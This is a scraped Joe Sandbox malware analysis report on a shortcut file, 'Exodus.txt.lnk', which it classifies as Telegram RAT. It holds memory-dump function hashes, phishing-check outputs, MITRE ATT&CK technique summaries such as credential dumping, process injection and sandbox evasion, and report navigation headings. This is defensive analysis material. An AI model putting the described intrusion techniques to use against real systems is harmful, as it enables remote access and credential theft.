Instruction ID: 5d43da12ab63e42b0b93b5c66bbb7703cdd66ff14bbdd279155f01ba294435da
Opcode Fuzzy Hash: de35e9e08edf55221c2fb4d2d829b2464ce104d9a1fd020c73adfd70d844fe13
Instruction Fuzzy Hash: D471A371D19A598FD745EF68C8516E8BBF1FF8A350F0401AAE40DD7292DA396C42CB50

Function 00007FF848F12CFC Relevance: .2, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2416867994.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff848f10000_tmp1201676045.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 396ae92eca87bc77bfa9f57219982c9437a1790ec53d96357d74c11dbb269c6d
Instruction ID: 004f4fa66204ed5bce71b390e806b37c413f828d55a13001d35dd81823d28408
Opcode Fuzzy Hash: 396ae92eca87bc77bfa9f57219982c9437a1790ec53d96357d74c11dbb269c6d
Instruction Fuzzy Hash: 1F516131908A1C8FDB58EB58D845BE9BBF1FB59310F0482AAD44DD3292DF74A9858F81

Function 00007FF848F1776D Relevance: .2, Instructions: 186COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2416867994.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff848f10000_tmp1201676045.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 19cc8e3b2b3d523620d52617511df2356a51897faa81330e2f6ddb89cfe26682
Instruction ID: 2d15e6d4e38e9e7a173856e18f6478d2f3d92a5f43791f7cea6cfb2074d4b68e
Opcode Fuzzy Hash: 19cc8e3b2b3d523620d52617511df2356a51897faa81330e2f6ddb89cfe26682
Instruction Fuzzy Hash: 3251ED31E0E94A4FEB96BB2858161F877A1EF55390F5500BAE40CC72D3EF285D418795

Function 00007FF848F175AD Relevance: .2, Instructions: 177COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2416867994.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff848f10000_tmp1201676045.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67f7ab7334887c24d9c4583cb8c40e6689792973ac7bb0c15ab67b9efda7e33d
Instruction ID: b572483695ffeebbb6386aa4ae1ae6ceafa2d6e9a002a1dfb4f40173d8497d4e
Opcode Fuzzy Hash: 67f7ab7334887c24d9c4583cb8c40e6689792973ac7bb0c15ab67b9efda7e33d
Instruction Fuzzy Hash: 9741DD71A0D9494FE786FB2898161F93BE1EF9A391F0500BAE40CC72D3EF296C818755

Function 00007FF848F17261 Relevance: .2, Instructions: 176COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2416867994.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff848f10000_tmp1201676045.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd5774e4b33c71ea852e1a33ca619687a86eccff0bf37f849be834b4e3d0a3b9
Instruction ID: 4d64ffc1bcc933810ecec17fa2397cc95e618b74f5355ece2b7d65453ec31d93
Opcode Fuzzy Hash: cd5774e4b33c71ea852e1a33ca619687a86eccff0bf37f849be834b4e3d0a3b9
Instruction Fuzzy Hash: 21414732A0DA494FE759EB2888425B877D1FF96350B0900FEE44EC72E3DF25AC028B55

Function 00007FF848F115EE Relevance: .2, Instructions: 175COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2416867994.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff848f10000_tmp1201676045.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61dfd36c721b373246cf408f0e2f1163adbbeda17da7fc1ed04b830af8b7b405
Instruction ID: 57d2c991c171820388f876a560f3182e3b911db9d02dff1d60c75e688ae6ee62
Opcode Fuzzy Hash: 61dfd36c721b373246cf408f0e2f1163adbbeda17da7fc1ed04b830af8b7b405
Instruction Fuzzy Hash: 10411131B18A498FE789EB3C845D3787BD2EFA9740F0401B9E00EC3293DE28AC468751

Function 00007FF848F11610 Relevance: .2, Instructions: 156COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2416867994.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff848f10000_tmp1201676045.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a121ba662f8ea89c6c3a33071a7336c63030587b3216bc75d1f5aff9786a54d8
Instruction ID: 517788dcd99890319028968e9a490fed7b343f3fc30907137e031c0a2b93fc65
Opcode Fuzzy Hash: a121ba662f8ea89c6c3a33071a7336c63030587b3216bc75d1f5aff9786a54d8
Instruction Fuzzy Hash: 4C41D021B199499FEB89EB2C845D77977D2EFAD740F040179E00EC3297DE28AC468751

Function 00007FF848F119F9 Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2416867994.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff848f10000_tmp1201676045.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3b1fc9fb6c8b0fefda456d99d8e72af419472412f155bc47f0eae9fec9b65c1d
Instruction ID: 7205a036d407eca1c07bbab43ce4189ee78f3421ae42d1f100711b338c2fc646
Opcode Fuzzy Hash: 3b1fc9fb6c8b0fefda456d99d8e72af419472412f155bc47f0eae9fec9b65c1d
Instruction Fuzzy Hash: FA416C61F1C95A4EFAD9FB2840122B92282EFE97C0F4114B9E80DC72D3FE1D6D85475A

Function 00007FF848F17AA9 Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2416867994.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff848f10000_tmp1201676045.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fff91dca2a6ced869bacba34a1e587245a488cbb102f317179b0ef0817695b97
Instruction ID: 4d14ab0faf2940d0a9d1d425ab8948f7a4eec5a0aae6abc08dea0c2aed51f6e1
Opcode Fuzzy Hash: fff91dca2a6ced869bacba34a1e587245a488cbb102f317179b0ef0817695b97
Instruction Fuzzy Hash: 4741FC32E0DD4A4FEB9AFB2854161B937E1EF59381F0500BAE40DC72E6EF285E418759

Function 00007FF848F19E20 Relevance: .1, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2416867994.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff848f10000_tmp1201676045.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b236555420c33cfc9fb146247986f3daa8e75fc87ba31623ffcb144295adb7e3
Instruction ID: 9a560b1e4efa8c7dec21ac35097169f1ba331546150d72f306480ff08344333f
Opcode Fuzzy Hash: b236555420c33cfc9fb146247986f3daa8e75fc87ba31623ffcb144295adb7e3
Instruction Fuzzy Hash: 90418E30B2C90A9FEB85EB2880157BDB7E1EF98344F900079D00ED36D6DF28A9418791

Function 00007FF848F18610 Relevance: .1, Instructions: 123COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2416867994.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff848f10000_tmp1201676045.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6909653cd57a584ade25db86de78662988cb5e81291f5689234c05e4c4cf3251
Instruction ID: ae1474616ce40184216f7db0bd69b5a32b7ed8a62ee4376634ca40706ad3e661
Opcode Fuzzy Hash: 6909653cd57a584ade25db86de78662988cb5e81291f5689234c05e4c4cf3251
Instruction Fuzzy Hash: DF31F631E2DA895FE74ABB3844595717BD1EF6A381F0500BAE44DC72D3EE18AC84C762

Function 00007FF848F17115 Relevance: .1, Instructions: 121COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2416867994.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff848f10000_tmp1201676045.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e5753448bf384d946099664c8970351a9ac03bd337b01cc851a101dacabfcdac
Instruction ID: a87577f5dfa96de4d1a8ae88068da0081ba7145f8410e743b7233fb4610958c7
Opcode Fuzzy Hash: e5753448bf384d946099664c8970351a9ac03bd337b01cc851a101dacabfcdac
Instruction Fuzzy Hash: 2F310371A0CA884FE75AEB3884661A47BE1EF66380B0604FAD44DCB2E3DF259C44CB11

Function 00007FF848F11A39 Relevance: .1, Instructions: 114COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2416867994.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff848f10000_tmp1201676045.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e82a730420e11e68f83b87ab17c5b9acd8ba5c644046c354eebcd477f535a8c4
Instruction ID: 942455cf3d5db280e0a11ab0887646cb2674921f4e80d53b2e3269f2afca20ff
Opcode Fuzzy Hash: e82a730420e11e68f83b87ab17c5b9acd8ba5c644046c354eebcd477f535a8c4
Instruction Fuzzy Hash: 3B31BA61F1CA890FFBD6BB2800262B92791EFA53C0F4514BAE80CC72D3FE186D454756

Function 00007FF848F1745E Relevance: .1, Instructions: 109COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2416867994.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff848f10000_tmp1201676045.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9839bb4f7494b971c2a5c6b2a8fa0e251427c3e2a25cf19df14b58f876086a60
Instruction ID: 728c09e731d8b31a77a42d84e06177db59ee8482b50fa714419cc8d8f42c6464
Opcode Fuzzy Hash: 9839bb4f7494b971c2a5c6b2a8fa0e251427c3e2a25cf19df14b58f876086a60
Instruction Fuzzy Hash: DB31AB31B0DD4A8FEB86FB2880552B936D1EFA8380F5504BAD00DC72D2EF29AC818755

Function 00007FF848F1795E Relevance: .1, Instructions: 105COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2416867994.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff848f10000_tmp1201676045.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e3e3ecf4fc861ee565a616344d6942e3255f2fafc2313429f5c27e633766176
Instruction ID: a3b454043cbb079c39ff09c4ca907d6e94a5ec175f008b4dbc310bca8a16a0d2
Opcode Fuzzy Hash: 5e3e3ecf4fc861ee565a616344d6942e3255f2fafc2313429f5c27e633766176
Instruction Fuzzy Hash: 86312531A4D64D4FD701EB64DC519D9BBE1FF8A360B0A42F6E048C72A3CA2CAC468791

Function 00007FF848F1798F Relevance: .1, Instructions: 105COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2416867994.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff848f10000_tmp1201676045.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e4424182ca0fbf5cbc04fbee4916d09750a2fe82d3a1659dde2d1067165b194d
Instruction ID: 79c461f13eafd4eda78fd8a377fb5ac0115b883b5bb6b83a1a5ce6bf2c71ff48
Opcode Fuzzy Hash: e4424182ca0fbf5cbc04fbee4916d09750a2fe82d3a1659dde2d1067165b194d
Instruction Fuzzy Hash: B131EA3558E6854FD301DB74DC559D5BBE1EF8B650B0E81E6E088CB263CA2C9C47C751

Function 00007FF848F11BB9 Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2416867994.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff848f10000_tmp1201676045.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1686a1062133f46b8df923d06a59fccec2c3c70b37647d7640b0ee74a950eada
Instruction ID: 5cc33e8cbe51da5bfbf16a9912a5ad024ffa582c52962a4888d5e97b3909a995
Opcode Fuzzy Hash: 1686a1062133f46b8df923d06a59fccec2c3c70b37647d7640b0ee74a950eada
Instruction Fuzzy Hash: 8031B191E1F68A1FE746B77804666A62FA1DFA63C1F4604B6E048CB2C7ED1C9E064335

Function 00007FF848F11901 Relevance: .1, Instructions: 93COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2416867994.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff848f10000_tmp1201676045.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 91163b6cd07b7bf04b025aebb11edd8fff897e295cba42aee322e7b6639e7d1c
Instruction ID: e5d0b255a77d22c28960fec201f6799ee091062a984c6d42a32cee457e3b2fd2
Opcode Fuzzy Hash: 91163b6cd07b7bf04b025aebb11edd8fff897e295cba42aee322e7b6639e7d1c
Instruction Fuzzy Hash: F8216A32A1EA890FF795B73868052B57BE0EF5A391F5510FAE45DC32C7DE19AC828311

Function 00007FF848F18858 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2416867994.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff848f10000_tmp1201676045.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7cd2eb0ec053f918fdb0667fd6905fe7bc16d9f149ad0c4a476f0f785879fa71
Instruction ID: 236b6c48340b0efb6693757fee3eafaf0b2f3b9c5aec56f34f401c6c59ef1427
Opcode Fuzzy Hash: 7cd2eb0ec053f918fdb0667fd6905fe7bc16d9f149ad0c4a476f0f785879fa71
Instruction Fuzzy Hash: 7E11C262F2DD484FEB88FB3C44A967467D1EFA9381B5504BAE40CC72E7ED249C448711

Function 00007FF848F11CBD Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2416867994.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff848f10000_tmp1201676045.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3b2dcd57a8eb14bab31abc8ced27beab79590e00a6498d102d4e980e41e4ca93
Instruction ID: 173740f862a6f49aafd95c23e383085941f0d3580147c460df0f931215c35c42
Opcode Fuzzy Hash: 3b2dcd57a8eb14bab31abc8ced27beab79590e00a6498d102d4e980e41e4ca93
Instruction Fuzzy Hash: 3AF0BB62E1DAD94FE356B73C14251A47FE1EF966D0B4A05F7D448CB1D3ED081C498352

Function 00007FF848F17E7D Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2416867994.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff848f10000_tmp1201676045.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c98648231adb2820fc530f687033fbb814163d5f2c1391f11ff9b4ff3cf8e46b
Instruction ID: a067a6cb94141a7cd0bab24c2b6c1ed02f9b10786d7a416ad32fe8787e27a0a9
Opcode Fuzzy Hash: c98648231adb2820fc530f687033fbb814163d5f2c1391f11ff9b4ff3cf8e46b
Instruction Fuzzy Hash: FDE0D87290DA5C4FE714AA59AC06AE6BB94FB86324F00019AE45CC7151D2215912C345

Function 00007FF848F108F1 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2416867994.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff848f10000_tmp1201676045.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8344ec5305bf7a4c09fc4db047dece52f145479bc231945932cf7d392a25a639
Instruction ID: f96d2cc847ed10e6ba27377f98d3b7bcb27e475820b8ee10cafd940922dd9501
Opcode Fuzzy Hash: 8344ec5305bf7a4c09fc4db047dece52f145479bc231945932cf7d392a25a639
Instruction Fuzzy Hash: B8E08C3184C6DD4EDB82BBB008110E97FA0EF42240F4802EBE89CC6093DA9859188392

Function 00007FF848F10960 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2416867994.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff848f10000_tmp1201676045.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3c48894a0c54fe7c170ca204559e5a0f1a7d279683808a2af75827921deef4c0
Instruction ID: efd2a6296dc7d456f546b9b77359a6e7ab61c5df961ab7a86bb305e4a1996a2f
Opcode Fuzzy Hash: 3c48894a0c54fe7c170ca204559e5a0f1a7d279683808a2af75827921deef4c0
Instruction Fuzzy Hash: 60D09230C6D16708FC9437A515222F412800FE13D4F8020B0FD9C662C3BF1E2C49006A

Input	Output
URL: file:///C:/Users/user/AppData/Local/Temp/p.html Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: file:///C:/Users/user/AppData/Local/Temp/p.html Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: file:///C:/Users/user/AppData/Local/Temp/p.html Model: Joe Sandbox AI	{ "brands": [ "Claro", "Google", "Turboboy", "Miclaro", "DirecTV" ] }

URL: file:///C:/Users/user/AppData/Local/Temp/p.html Model: Joe Sandbox AI	{ "brands": [ "Claro", "Google", "Turboboy", "Miclaro", "DirecTV" ] }

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Exodus.txt.lnk

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Telegram RAT

Yara Signatures

Initial Sample

Memory Dumps

Sigma Signatures

System Summary

Stealing of Sensitive Information

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

